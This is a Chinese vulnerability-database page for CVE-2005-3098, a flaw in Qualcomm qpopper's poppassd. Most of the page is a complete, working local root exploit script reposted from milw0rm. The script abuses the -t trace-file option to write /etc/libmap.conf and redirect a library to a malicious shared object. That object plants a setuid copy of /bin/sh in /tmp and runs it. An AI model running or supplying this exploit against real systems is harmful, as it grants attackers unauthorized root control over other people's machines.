Qualcomm qpopper 本地任意文件修改及权限提升漏洞

Qualcomm qpopper 本地任意文件修改及权限提升漏洞

漏洞ID 1109091 漏洞类型 设计错误
发布时间 2005-09-24 更新时间 2005-10-20
图片[1]-Qualcomm qpopper 本地任意文件修改及权限提升漏洞-安全小百科CVE编号 CVE-2005-3098
图片[2]-Qualcomm qpopper 本地任意文件修改及权限提升漏洞-安全小百科CNNVD-ID CNNVD-200509-292
漏洞平台 BSD CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/1230
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200509-292
|漏洞详情
QPopper是一款由Qualcomm开发和维护免费开放源代码的POP3软件,可使用在多种Linux和Unix操作系统下。Qualcommqpopper4.0.8版本的poppassd协议存在安全漏洞,本地用户可通过命令行参数-t(跟踪文件)修改任意文件或获取特权。
|漏洞EXP
#!/bin/sh
###########################################################################
# FreeBSD Qpopper poppassd latest version local r00t exploit by kcope   ###
# tested on FreeBSD 5.4-RELEASE                                         ###
###########################################################################

POPPASSD_PATH=/usr/local/bin/poppassd
HOOKLIB=libutil.so.4

echo ""
echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope"
echo ""
sleep 2
umask 0000
if [ -f /etc/libmap.conf ]; then
echo "OOPS /etc/libmap.conf already exists.. exploit failed!"
exit
fi
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 if (!geteuid()) {
 remove("/etc/libmap.conf");
 execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);
 }
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "--- Now type ENTER ---"
echo ""
$POPPASSD_PATH -t /etc/libmap.conf
echo $HOOKLIB ../../../../../../tmp/libno_ex.so.1.0 > /etc/libmap.conf
su
if [ -f /tmp/xxxx ]; then
echo "IT'S A ROOTSHELL!!!"
/tmp/xxxx
else
echo "Sorry, exploit failed."
fi

# milw0rm.com [2005-09-24]
|参考资料

来源:BID
名称:14944
链接:http://www.securityfocus.com/bid/14944
来源:VUPEN
名称:ADV-2005-1844
链接:http://www.frsirt.com/english/advisories/2005/1844
来源:SECUNIA
名称:16935
链接:http://secunia.com/advisories/16935
来源:FULLDISC
名称:20050924It’stimeforsomewarez-Qpopperpoppassdlocalr00texploit
链接:http://seclists.org/lists/fulldisclosure/2005/Sep/0652.html

相关推荐: Firefox Remote SMB Document Local File Disclosure Vulnerability

Firefox Remote SMB Document Local File Disclosure Vulnerability 漏洞ID 1097135 漏洞类型 Access Validation Error 发布时间 2005-02-12 更新时间 200…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享